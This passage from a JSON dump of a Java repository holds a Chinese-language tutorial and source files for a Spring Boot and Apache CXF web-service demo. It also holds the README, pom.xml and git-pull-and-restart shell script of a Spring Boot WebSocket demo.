    "content": "# SpringBootWebservice\n\n\n## 1. WebService是什么\n\n准确的来说，webservice 不是一种技术，而是一种规范。是一种跨平台，跨语言的规范，用于不同平台，不同语言开发的应用之间的交互。 举个例子，比如在 Windows Server 服务器上有个 C# .Net 开发的应用 A，在 Linux 上有个 Java 语言开发的应用 B，现在 B 应用要调用 A 应用，或者是互相调用，用于查看对方的业务数据，就可以使用 webservice 的规范。   \n\n再举个例子，天气预报接口。无数的应用需要获取天气预报信息，这些应用可能是各种平台，各种技术实现，而气象局的项目，估计也就一两种，要对外提供天气预报信息，这个时候，如何解决呢？webservice 就是出于以上类似需求而定义出来的规范。   \n\n我们一般是在具体平台开发 webservice 接口，以及调用 webservice 接口，每种开发语言都有自己的 webservice 实现框架。比如 Java 就有 Apache Axis1、Apache Axis2、Codehaus XFire、Apache CXF、Apache Wink、Jboss RESTEasyd 等等。其中 Apache CXF 用的比较多，它也可以和 Spring Boot 整合。\n\n## 2. 项目介绍\n\n本项目是 Spring Boot 和 Webservice 的整合案例，可以直接下载到本地运行，实际项目可以由本案例进行扩展。本项目的相关环境和配置如下：\n\n* JDK版本：1.8\n* Spring Boot 版本：1.5.6.RELEASE\n* Apache CXF：3.1.12\n* Hutool：4.0.9\n\n## 3. 项目运行\n\n* 1、通过git或者svn下载本项目。  \n* 2、通过eclipse或者idea打开本项目，下载相关的mvn依赖，配置字符集utf-8。  \n* 3、运行项目，打开浏览器输入地址：`http://localhost:9999/services`，可以看到暴露出来的 webservice 服务。  \n* 4、点击其中的链接，进入 wsdl 文件，可以看到其中的方法协议。  \n* 5、打开项目的 test 目录，找到 com.lli 中的 CxfClient 测试类。我们可以看到其中有两个调用方法，`cl1()` 和 `cl2()`，`cl1()` 方法是静态调用方式调用 webservice 接口，`cl2()` 是动态调用。 \n\n\n## 4. Spring Boot 和 webservice 的整合过程\n\n### 4.1 Spring Boot cxf 依赖\n\nSpring Boot 和 CXF 整合非常简单，只需要一个依赖即可，如下：\n```xml\n<dependency>\n    <groupId>org.apache.cxf</groupId>\n    <artifactId>cxf-spring-boot-starter-jaxws</artifactId>\n    <version>3.1.11</version>\n</dependency>\n```\n可以看出，Spring Boot 已经集成了 cxf 所需要的相关依赖，我们不用再分别引入 cxf 对应的依赖了。可以点开 `cxf-spring-boot-starter-jaxws` 看一下：\n\n```xml\n<dependency>\n    <groupId>org.apache.cxf</groupId>\n    <artifactId>cxf-spring-boot-autoconfigure</artifactId>\n    <version>${project.version}</version>\n</dependency>\n<dependency>\n    <groupId>org.apache.cxf</groupId>\n    <artifactId>cxf-rt-transports-http</artifactId>\n    <version>${project.version}</version>\n</dependency>\n<dependency>\n    <groupId>org.apache.cxf</groupId>\n    <artifactId>cxf-rt-frontend-jaxws</artifactId>\n    <version>${project.version}</version>\n</dependency>\n```\n可以看出，已经包含了 cxf 所需要的相关依赖了。\n\n### 4.2 服务端接口定义\n\n```java\n@WebService(name = \"CommonService\", // 暴露服务名称\n        targetNamespace = \"http://webservice.lli.com/\"// 命名空间,一般是接口的包名倒序\n)\npublic interface CommonService {\n    @WebMethod\n    String sayHello(@WebParam(name = \"param\") String param);\n\n    @WebMethod\n    String getUser(@WebParam(name = \"param\") String param);\n}\n```\n创建一个接口，定义两个接口方法，分别用来返回不同的信息，实际中根据具体需求来定义接口方法以及参数。这里有几个注解解释一下：\n> `@WebService` 注解：表明该接口是个 WebService 服务，name 属性用来定义该 webservice 服务名称； targetNamespace 属性用来定义命名空间。  \n> `@WebMethod` 注解：表明接口中的方法是用来提供具体的服务的。\n\n### 4.3 服务端接口的实现\n\n```java\n@WebService(serviceName = \"CommonService\", // 与接口中指定的name一致\n        targetNamespace = \"http://webservice.lli.com/\", // 与接口中的命名空间一致,一般是接口的包名倒\n        endpointInterface = \"webservice.com.jun.plugin.CommonService\"// 接口地址\n)\n@Component\npublic class CommonServiceImpl implements CommonService {\n@Override\n    public String getUser(String param) {\n        model.User user = new model.User(\"1\", \"吹比龙\", \"18\");\n        return user.toString();\n    }\n}\n```\n其中 `@WebService` 注解中的 `endpointInterface` 属性用来定义服务的地址，这个地址和下面的 cxf 配置中要对应，下面再说明。\n\n### 4.4 cxf 服务配置\n\n```java\n@Configuration\npublic class CxfConfig {\n    @Autowired\n    private Bus bus;\n\n    @Autowired\n    CommonService commonService;\n\n    /** JAX-WS **/\n    @Bean\n    public Endpoint endpoint2() {\n        EndpointImpl endpoint = new EndpointImpl(bus, commonService);\n        endpoint.publish(\"/CommonService\");\n        return endpoint;\n    }\n}\n```\n这里的配置是将上面刚刚定义的 `CommonService` 接口发布到了 `/services/CommonService` 路径下，wsdl 文档路径为 `http://localhost:9999/services/CommonService?wsdl`。\n\n### 4.5 cxf client客户端\n\n这里使用动态调用为例，代理的方式请看源码。\n```java\npublic class CxfClient {\n    public static void main(String[] args) throws Exception {\n        cl2();\n    }\n    /**\n     * 动态调用方式\n     * @throws Exception\n     */\n    public static void cl2() throws Exception {\n        // 创建动态客户端\n        JaxWsDynamicClientFactory dcf = JaxWsDynamicClientFactory.newInstance();\n        Client client = dcf\n                .createClient(\"http://localhost:9999/services/CommonService?wsdl\");\n        // getUser 为接口中定义的方法名称 张三为传递的参数 返回一个Object数组\n        Object[] objects = client.invoke(\"getUser\", \"张三\");\n        System.out.println(objects[0]);\n    }\n}\n```\n注意事项：如果在同一个工程中，上面的 localhost 需要修改成本机的 ip 地址，否则会创建 cxf client 失败。运行一下 client，如果控制台打印出如下信息表示 webservice 服务启动成功：\n```\nmodel.User{userId='1', username='吹比龙', age='18'}\n```\n至此，Spring Boot 集成 Werbservice 完成。如果你觉得对你有帮助，不妨请作者喝杯咖啡~\n\n\n\n\n\n\n\n\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_webservice/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n    <groupId>com.lli</groupId>\n    <artifactId>springboot_webservice</artifactId>\n    <version>0.0.1-SNAPSHOT</version>\n    <packaging>jar</packaging>\n\n    <parent>\n        <groupId>org.springframework.boot</groupId>\n        <artifactId>spring-boot-starter-parent</artifactId>\n        <version>1.5.6.RELEASE</version>\n        <relativePath/> <!-- lookup parent from repository -->\n    </parent>\n\n    <properties>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n        <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n        <java.version>1.8</java.version>\n    </properties>\n\n    <dependencies>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-web</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-test</artifactId>\n            <scope>test</scope>\n        </dependency>\n\n        <!--cxf-->\n        <dependency>\n            <groupId>org.apache.cxf</groupId>\n            <artifactId>cxf-spring-boot-starter-jaxws</artifactId>\n            <version>3.1.12</version>\n        </dependency>\n\n        <dependency>\n            <groupId>cn.hutool</groupId>\n            <artifactId>hutool-all</artifactId>\n            <version>4.0.9</version>\n        </dependency>\n\n        <!-- 1. JAX-WS API 核心（包含 Endpoint 类） -->\n        <dependency>\n            <groupId>javax.xml.ws</groupId>\n            <artifactId>jaxws-api</artifactId>\n            <version>2.3.1</version>\n        </dependency>\n\n        <!-- 2. JAX-WS 运行时实现（必须，否则发布服务时报错） -->\n        <dependency>\n            <groupId>com.sun.xml.ws</groupId>\n            <artifactId>jaxws-rt</artifactId>\n            <version>2.3.5</version>\n            <scope>runtime</scope>\n        </dependency>\n\n        <!-- 3. 依赖补充（解决类加载缺失） -->\n        <dependency>\n            <groupId>com.sun.xml.bind</groupId>\n            <artifactId>jaxb-impl</artifactId>\n            <version>2.3.5</version>\n            <scope>runtime</scope>\n        </dependency>\n        <dependency>\n            <groupId>javax.jws</groupId>\n            <artifactId>javax.jws-api</artifactId>\n            <version>1.1</version>\n        </dependency>\n        <!-- Spring Boot 热部署核心依赖 -->\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-devtools</artifactId>\n            <version>2.5.15</version>\n            <scope>runtime</scope>\n            <optional>true</optional> <!-- 避免依赖传递 -->\n        </dependency>\n\n    </dependencies>\n    <build>\n        <!-- 指定jar名称 -->\n        <!-- <finalName>boot</finalName> -->\n        <plugins>\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n                <version>1.5.6.RELEASE</version>\n                <configuration>\n                    <!-- 开启热部署（可选，devtools 自动生效） -->\n                    <fork>true</fork>\n                    <addResources>true</addResources> <!-- 静态资源热加载 -->\n                </configuration>\n                <!-- 无需再添加 springloaded 依赖 -->\n            </plugin>\n            <!-- 跳过测试 -->\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-surefire-plugin</artifactId>\n                <configuration>\n                    <skip>true</skip>\n                </configuration>\n            </plugin>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-compiler-plugin</artifactId>\n                <configuration>\n                    <source>1.8</source>\n                    <target>1.8</target>\n                </configuration>\n            </plugin>\n        </plugins>\n    </build>\n\n    <repositories>\n        <repository>\n            <id>aliyun-repos</id>\n            <url>http://maven.aliyun.com/nexus/content/groups/public/</url>\n            <snapshots>\n                <enabled>false</enabled>\n            </snapshots>\n        </repository>\n    </repositories>\n\n    <pluginRepositories>\n        <pluginRepository>\n            <id>aliyun-plugin</id>\n            <url>http://maven.aliyun.com/nexus/content/groups/public/</url>\n            <snapshots>\n                <enabled>false</enabled>\n            </snapshots>\n        </pluginRepository>\n    </pluginRepositories>\n\n</project>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_webservice/src/main/java/com/jun/plugin/WebServiceApplication.java",
    "content": "package com.jun.plugin;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n@SpringBootApplication\npublic class WebServiceApplication {\n\n\tpublic static void main(String[] args) {\n\t\tSpringApplication.run(WebServiceApplication.class, args);\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_webservice/src/main/java/com/jun/plugin/config/CxfConfig.java",
    "content": "package com.jun.plugin.config;\n\nimport javax.xml.ws.Endpoint;\n\nimport com.jun.plugin.webservice.CommonService;\nimport org.apache.cxf.Bus;\nimport org.apache.cxf.jaxws.EndpointImpl;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\n\n@Configuration\npublic class CxfConfig {\n    @Autowired\n    private Bus bus;\n\n    @Autowired\n    CommonService commonService;\n\n    /** JAX-WS **/\n    @Bean\n    public Endpoint endpoint2() {\n        EndpointImpl endpoint = new EndpointImpl(bus, commonService);\n        endpoint.publish(\"/CommonService\");\n        return endpoint;\n    }\n\n    // @Bean // 修改默认的servlet名称为test 默认为services\n    // public ServletRegistrationBean dispatcherServlet() {\n    // return new ServletRegistrationBean(new CXFServlet(), \"/test/*\");\n    // }\n    //\n    // @Bean(name = Bus.DEFAULT_BUS_ID)\n    // public SpringBus springBus() {\n    // return new SpringBus();\n    // }\n    //\n    // @Bean\n    // public UserService userService() {\n    // return new UserServiceImpl();\n    // }\n    //\n    // @Bean\n    // public Endpoint endpoint() {\n    // EndpointImpl endpoint = new EndpointImpl(springBus(), userService());\n    // endpoint.publish(\"/user\");\n    // return endpoint;\n    // }\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_webservice/src/main/java/com/jun/plugin/webservice/CommonService.java",
    "content": "package com.jun.plugin.webservice;\n\nimport javax.jws.WebMethod;\nimport javax.jws.WebParam;\nimport javax.jws.WebService;\n\n/**\n * 接口\n */\n@WebService(name = \"CommonService\", // 暴露服务名称\n        targetNamespace = \"http://webservice.plugin.jun.com/\"// 命名空间,一般是接口的包名倒序\n)\npublic interface CommonService {\n    @WebMethod\n    String sayHello(@WebParam(name = \"param\") String param);\n\n    @WebMethod\n    String getUser(@WebParam(name = \"param\") String param);\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_webservice/src/main/java/com/jun/plugin/webservice/CommonServiceImpl.java",
    "content": "package com.jun.plugin.webservice;\n\nimport cn.hutool.core.codec.Base64;\nimport cn.hutool.core.util.XmlUtil;\nimport org.springframework.stereotype.Component;\nimport org.w3c.dom.Document;\nimport org.w3c.dom.Element;\n\nimport javax.jws.WebService;\nimport java.util.Date;\nimport java.util.HashMap;\nimport java.util.Map;\n\n/**\n * 接口实现\n *\n * @author leftso\n */\n@WebService(serviceName = \"CommonService\", // 与接口中指定的name一致\n        targetNamespace = \"http://webservice.plugin.jun.com/\", // 与接口中的命名空间一致,一般是接口的包名倒\n        endpointInterface = \"com.jun.plugin.webservice.CommonService\"// 接口地址\n)\n@Component\npublic class CommonServiceImpl implements CommonService {\n\n    @Override\n    public String sayHello(String param) {\n        String decodeStr = Base64.decodeStr(param);\n        Document document = XmlUtil.parseXml(decodeStr);\n        Element rootElement = XmlUtil.getRootElement(document);\n//        String ahdm = Base64.decodeStr(XmlUtil.elementText(rootElement, \"AHDM\"));\n\n        Document doc = XmlUtil.createXml();\n        doc.setXmlStandalone(true);\n\n        Element response = doc.createElement(\"Response\");\n        doc.appendChild(response);\n        Element result = doc.createElement(\"Result\");\n        response.appendChild(result);\n        Element codeEle = doc.createElement(\"Code\");\n        codeEle.setTextContent(Base64.encode(\"0\"));\n        result.appendChild(codeEle);\n        Element msgEle = doc.createElement(\"Msg\");\n        msgEle.setTextContent(Base64.encode(\"操作成功\"));\n        result.appendChild(msgEle);\n\n        Element data = doc.createElement(\"DATA\");\n        data.setAttribute(\"Count\", Base64.encode(\"1\"));\n        result.appendChild(data);\n\n        Element eaj = doc.createElement(\"EAJ\");\n        data.appendChild(eaj);\n\n        Element ahdm = doc.createElement(\"AHDM\");\n        ahdm.setTextContent(Base64.encode(\"2\"));\n        eaj.appendChild(ahdm);\n\n        Element ah = doc.createElement(\"AH\");\n        ah.setTextContent(Base64.encode(\"（2018）沪0107民初12723号\"));\n        eaj.appendChild(ah);\n\n        Element fydm = doc.createElement(\"FYDM\");\n        fydm.setTextContent(Base64.encode(\"226000\"));\n        eaj.appendChild(fydm);\n\n        String docStr = XmlUtil.toStr(doc);\n        System.out.println(docStr);\n        return Base64.encode(docStr);\n    }\n\n    private Map<String, User> userMap = new HashMap<String, User>();\n\n    public CommonServiceImpl() {\n        System.out.println(\"向实体类插入数据\");\n        User user = new User();\n        user.setUserId(\"411001\");\n        user.setUsername(\"zhansan\");\n        user.setAge(\"20\");\n        user.setUpdateTime(new Date());\n        userMap.put(user.getUserId(), user);\n\n        user = new User();\n        user.setUserId(\"411002\");\n        user.setUsername(\"lisi\");\n        user.setAge(\"30\");\n        user.setUpdateTime(new Date());\n        userMap.put(user.getUserId(), user);\n\n        user = new User();\n        user.setUserId(\"411003\");\n        user.setUsername(\"wangwu\");\n        user.setAge(\"40\");\n        user.setUpdateTime(new Date());\n        userMap.put(user.getUserId(), user);\n    }\n\n    @Override\n    public String getUser(String param) {\n//        Base64.decode(param);\n//        String xml = \"<?xml version=\\\"1.0\\\" encoding=\\\"utf-8\\\"?><name>吹比龙</name>\";\n//        return xml;\n        User user = new User(\"1\", \"吹比龙\", \"18\");\n        return user.toString();\n    }\n\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_webservice/src/main/java/com/jun/plugin/webservice/User.java",
    "content": "package com.jun.plugin.webservice;\n\nimport java.io.Serializable;\nimport java.util.Date;\n\npublic class User implements Serializable {\n\n    private static final long serialVersionUID = -5939599230753662529L;\n    private String userId;\n    private String username;\n    private String age;\n    private Date updateTime;\n\n    public String getUserId() {\n        return userId;\n    }\n\n    public void setUserId(String userId) {\n        this.userId = userId;\n    }\n\n    public String getUsername() {\n        return username;\n    }\n\n    public void setUsername(String username) {\n        this.username = username;\n    }\n\n    public String getAge() {\n        return age;\n    }\n\n    public void setAge(String age) {\n        this.age = age;\n    }\n\n    public Date getUpdateTime() {\n        return updateTime;\n    }\n\n    public void setUpdateTime(Date updateTime) {\n        this.updateTime = updateTime;\n    }\n\n    public User() {\n    }\n\n    public User(String userId, String username, String age) {\n        this.userId = userId;\n        this.username = username;\n        this.age = age;\n    }\n\n    @Override\n    public String toString() {\n        return \"User{\" +\n                \"userId='\" + userId + '\\'' +\n                \", username='\" + username + '\\'' +\n                \", age='\" + age + '\\'' +\n                '}';\n    }\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_webservice/src/main/resources/application.properties",
    "content": "server.port=9999"
  },
  {
    "path": "jun_springboot_plugin/springboot_webservice/src/test/java/com/jun/plugin/CxfClient.java",
    "content": "package com.jun.plugin;\n\nimport java.util.Collection;\nimport java.util.List;\n\nimport com.jun.plugin.webservice.CommonService;\nimport com.jun.plugin.webservice.User;\nimport org.apache.cxf.endpoint.Client;\nimport org.apache.cxf.jaxws.JaxWsProxyFactoryBean;\nimport org.apache.cxf.jaxws.endpoint.dynamic.JaxWsDynamicClientFactory;\nimport org.apache.cxf.service.model.BindingInfo;\nimport org.apache.cxf.service.model.BindingMessageInfo;\nimport org.apache.cxf.service.model.BindingOperationInfo;\nimport org.apache.cxf.service.model.MessagePartInfo;\nimport org.apache.cxf.service.model.ServiceInfo;\n\nimport cn.hutool.core.codec.Base64;\n\npublic class CxfClient {\n    public static void main(String[] args) throws Exception {\n        String param = Base64\n                .encode(\"<?xml version=\\\"1.0\\\" encoding=\\\"utf-8\\\"?>\"\n                        + \"<request>\" + \"<AHDM>\" + Base64.encode(\"1234\")\n                        + \"</AHDM>\" + \"</request>\");\n        System.out.println(param);\n        cl3();\n    }\n\n    /**\n     * 方式1.代理类工厂的方式,需要拿到对方的接口\n     */\n    public static void cl1(String param) {\n        try {\n            // 接口地址\n            String address = \"http://localhost:9999/services/CommonService?wsdl\";\n            // 代理工厂\n            JaxWsProxyFactoryBean jaxWsProxyFactoryBean = new JaxWsProxyFactoryBean();\n            // 设置代理地址\n            jaxWsProxyFactoryBean.setAddress(address);\n            // 设置接口类型\n            jaxWsProxyFactoryBean.setServiceClass(CommonService.class);\n            // 创建一个代理接口实现\n            CommonService cs = (CommonService) jaxWsProxyFactoryBean.create();\n            // 数据准备\n            // String userName = \"Leftso\";\n            // 调用代理接口的方法调用并返回结果\n            String result = cs.sayHello(param);\n            String decodeStr = Base64.decodeStr(result);\n            System.out.println(\"返回结果:\\n\" + decodeStr);\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n    }\n\n    /**\n     * 动态调用方式\n     *\n     * @throws Exception\n     */\n    public static void cl2() throws Exception {\n        // 创建动态客户端\n        JaxWsDynamicClientFactory dcf = JaxWsDynamicClientFactory.newInstance();\n        Client client = dcf\n                .createClient(\"http://localhost:9999/services/CommonService?wsdl\");\n        // getUser 为接口中定义的方法名称 张三为传递的参数 返回一个Object数组\n        Object[] objects = client.invoke(\"getUser\", \"411001\");\n        for (Object object : objects) {\n            User ss = (User) object;\n            System.err.println(ss);\n        }\n\n        // 输出调用结果\n        System.out.println(((User) objects[0]).getAge());\n        System.out.println(objects[0].toString());\n    }\n\n    /**\n     * 动态调用方式\n     *\n     * @throws Exception\n     */\n    public static void cl3() throws Exception {\n        JaxWsDynamicClientFactory dcf = JaxWsDynamicClientFactory.newInstance();\n        Client client = dcf\n                .createClient(\"http://www.webxml.com.cn/WebServices/IpAddressSearchWebService.asmx?wsdl\");\n\n        List<ServiceInfo> infos = client.getEndpoint().getService()\n                .getServiceInfos();\n        for (ServiceInfo serviceInfo : infos) {\n            Collection<BindingInfo> dd = serviceInfo.getBindings();\n            for (BindingInfo bindingInfo2 : dd) {\n                Collection<BindingOperationInfo> bb = bindingInfo2\n                        .getOperations();\n                for (BindingOperationInfo bindingOperationInfo : bb) {\n                    System.out.println(bindingOperationInfo.getName().getLocalPart());\n                    BindingMessageInfo inputMessageInfo = bindingOperationInfo\n                            .getInput();\n                    inputMessageInfo.getMessageInfo();\n                    List<MessagePartInfo> parts = inputMessageInfo\n                            .getMessageParts();\n                    for (MessagePartInfo messagePartInfo : parts) {\n                        System.out.println(messagePartInfo.getName().getLocalPart());\n                    }\n                }\n            }\n        }\n        // for (BindingOperationInfo operationInfo :\n        // bindingInfo.getOperations()) {\n        // System.out.println(operationInfo.getInput());\n        // System.out.println(operationInfo.getOutput());\n        // System.out.println(operationInfo.getName());\n        // System.out.println(operationInfo.getName().getLocalPart());\n        // }\n\n    }\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_websocket/.gitignore",
    "content": "# 此为注释– 将被Git 忽略\n# /结尾表示是目录，忽略目录和目录下的所有件\n# /开头表示根目录，否则是.gitignore的相对目录\n# !开头表示反选\n.idea/\ntarget/\n*.iml\n*.ipr\n*.iws\n*.log\n.svn/\n.project\nrebel.xml\n.rebel-remote.xml.*\nswagger.json\nswagger.adoc\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_websocket/README.md",
    "content": "\n## 简介\n\n在SpringBoot中有两种实现WebSocket实时通信的方式：\n\n1. 一个是使用WebSocket的一个子协议stomp\n2. 另外一个是使用Socket.IO协议实现。\n\n本项目演示如何通过stomp协议实现\n\n### WebSocket js客户端测试\n\n```\n/client/html/index.html\n```\n\n### WebSocket Java客户端测试\n\n参考github地址：<https://github.com/NaikSoftware/StompProtocolAndroid>\n\n## 许可证\n\nCopyright (c) 2018 Xiong Neng\n\n基于 MIT 协议发布: <http://www.opensource.org/licenses/MIT>\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_websocket/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n    <groupId>io.github.wujun728</groupId>\n\t<artifactId>springboot_websocket</artifactId>\n\t<version>1.0</version>\n    <packaging>jar</packaging>\n\n    <description>使用WebScoket实时通信</description>\n\n    <parent>\n        <groupId>org.springframework.boot</groupId>\n        <artifactId>spring-boot-starter-parent</artifactId>\n        <version>2.5.14</version>\n    </parent>\n\n    <properties>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n        <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n        <java.version>1.8</java.version>\n        <netty.version>4.1.19.Final</netty.version>\n    </properties>\n\n    <dependencies>\n        <dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-websocket</artifactId>\n            <exclusions>\n                <exclusion>\n                    <groupId>org.springframework.boot</groupId>\n                    <artifactId>spring-boot-starter-tomcat</artifactId>\n                </exclusion>\n            </exclusions>\n\t\t</dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-jetty</artifactId>\n        </dependency>\n    </dependencies>\n\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-compiler-plugin</artifactId>\n                <version>3.6.1</version>\n                <configuration>\n                    <!--<proc>none</proc>-->\n                    <source>1.8</source>\n                    <target>1.8</target>\n                </configuration>\n            </plugin>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-surefire-plugin</artifactId>\n                <version>2.20</version>\n                <configuration>\n                    <systemPropertyVariables>\n                        <swaggerOutputDir>${project.basedir}/src/main/resources/swagger</swaggerOutputDir>\n                        <asciiDocOutputDir>${project.basedir}/src/main/resources/swagger/swagger</asciiDocOutputDir>\n                    </systemPropertyVariables>\n                    <skip>true</skip>\n                </configuration>\n            </plugin>\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n                <executions>\n                </executions>\n            </plugin>\n        </plugins>\n\n        <resources>\n            <resource>\n                <directory>src/main/resources</directory>\n            </resource>\n            <resource>\n                <directory>src/main/java</directory>\n                <includes>\n                    <include>**/*.xml</include>\n                </includes>\n            </resource>\n        </resources>\n    </build>\n\n</project>"
  },
  {
    "path": "jun_springboot_plugin/springboot_websocket/run.sh",
    "content": "#!/bin/bash\n# 项目自动更新脚本\n# 先clone相应的分支下来：\n# git clone ssh://git@120.24.173.142:7999/xxx.git\n# 远程调试启动：\n# nohup java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -Xms512m -Xmx1024m -jar -Dspring.profiles.active=${profile} ${jarfile} >/dev/null 2>&1 &\n\nfunction start {\n    profile=\"$1\"\n    echo \"启动环境profile=${profile}\"\n    jarfile=$(ls target/*.jar)\n    if [[ \"$?\" == \"0\" ]]; then\n        stop $profile $jarfile\n    fi\n    branch=$(git branch |awk '{print $2}')\n    git pull origin ${branch}\n    echo \"更新完代码开始重新打包\"\n    mvn clean && mvn clean && mvn package -DskipTests=true\n    if [[ \"$?\" != \"0\" ]]; then\n        echo \"编译出错，退出！\"\n        exit 1\n    fi\n    echo \"nohup java -Xms512m -Xmx1024m -jar -Dspring.profiles.active=${profile} ${jarfile} >/dev/null 2>&1 &\"\n    nohup java -Xms512m -Xmx1024m -jar -Dspring.profiles.active=${profile} ${jarfile} >/dev/null 2>&1 &\n    echo \"启动应用中，请查看日志文件...\"\n}\n\nfunction stop {\n    profile=\"$1\"\n    jarfile=\"$2\"\n    ps aux | grep \"${jarfile}\" | grep \"spring.profiles.active=${profile}\" | grep -v grep > /dev/null\n    if [[ \"$?\" == \"0\" ]]; then\n        echo \"该应用还在跑，我先停了它\"\n        pid=$(ps aux | grep \"${jarfile}\" | grep \"spring.profiles.active=${profile}\" | grep -v grep |awk '{print $2}')\n        if [[ \"$pid\" != \"\" ]]; then\n            kill -9 $pid\n        fi\n        echo \"停止应用成功...\"\n    fi\n}\n\nif [[ \"$1\" == \"start\" ]]; then\n    if [[ \"$#\" < 2 ]]; then\n        echo \"请输入正确参数：./epay.sh start {profile}\"\n        exit 1\n    fi\n    profile=\"$2\"\n    if [[ \"$profile\" != \"dev\" && \"$profile\" != \"test\" && \"$profile\" != \"show\" && \"$profile\" != \"production\" ]]; then\n        echo \"参数错误，请输入正确的profile参数，使用方法：\"\n        echo \"./epay.sh start {profile}    ==> 启动应用，{profile}取值：dev|test|show|production\"\n        exit 1\n    fi\n    start \"${profile}\"\nelif [[ \"$1\" == \"stop\" ]]; then\n    if [[ \"$#\" < 2 ]]; then\n        echo \"请输入正确参数：./epay.sh stop  {profile}\"\n        exit 1\n    fi\n    profile=\"$2\"\n    if [[ \"$profile\" != \"dev\" && \"$profile\" != \"test\" && \"$profile\" != \"show\" && \"$profile\" != \"production\" ]]; then\n        echo \"参数错误，请输入正确的profile参数，使用方法：\"\n        echo \"./epay.sh stop {profile}     ==> 停止应用，{profile}取值：dev|test|show|production\"\n        exit 1\n    fi\n    jarfile=$(ls target/*.jar)\n    stop $profile $jarfile\nelse\n    echo \"参数错误，使用方法：{}参数是必填的，[]参数可选\"\n    echo \"./epay.sh start {profile}    ==> 启动应用，{profile}取值：dev|test|show|production\"\n    echo \"./epay.sh stop  {profile}    ==> 停止应用，{profile}取值：dev|test|show|production\"\n    exit 1\nfi\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_websocket/src/main/java/com/xncoding/jwt/Application.java",
    "content": "package com.xncoding.jwt;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\nimport org.springframework.scheduling.annotation.EnableScheduling;\n\n@EnableScheduling\n@SpringBootApplication\npublic class Application {\n    public static void main(String[] args) {\n        SpringApplication.run(Application.class, args);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_websocket/src/main/java/com/xncoding/jwt/commons/JacksonUtil.java",
    "content": "package com.xncoding.jwt.commons;\n\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport com.fasterxml.jackson.core.type.TypeReference;\nimport com.fasterxml.jackson.databind.ObjectMapper;\n\nimport java.io.IOException;\n\n/**\n * JacksonUtil\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/3/4\n */\npublic class JacksonUtil {\n    private static ObjectMapper mapper = new ObjectMapper();\n\n    public static String bean2Json(Object obj) {\n        try {\n            return mapper.writeValueAsString(obj);\n        } catch (JsonProcessingException e) {\n            e.printStackTrace();\n            return \"\";\n        }\n    }\n\n//    public static <T> T json2Bean(String jsonStr, Class<T> objClass) {\n//        try {\n//            return mapper.readValue(jsonStr, objClass);\n//        } catch (IOException e) {\n//            e.printStackTrace();\n//            return null;\n//        }\n//    }\n\n    public static <T> T json2Bean(String jsonStr, TypeReference<T> typeReference) {\n        try {\n            return mapper.readValue(jsonStr, typeReference);\n        } catch (IOException e) {\n            e.printStackTrace();\n            return null;\n        }\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_websocket/src/main/java/com/xncoding/jwt/config/WebSocketConfig.java",
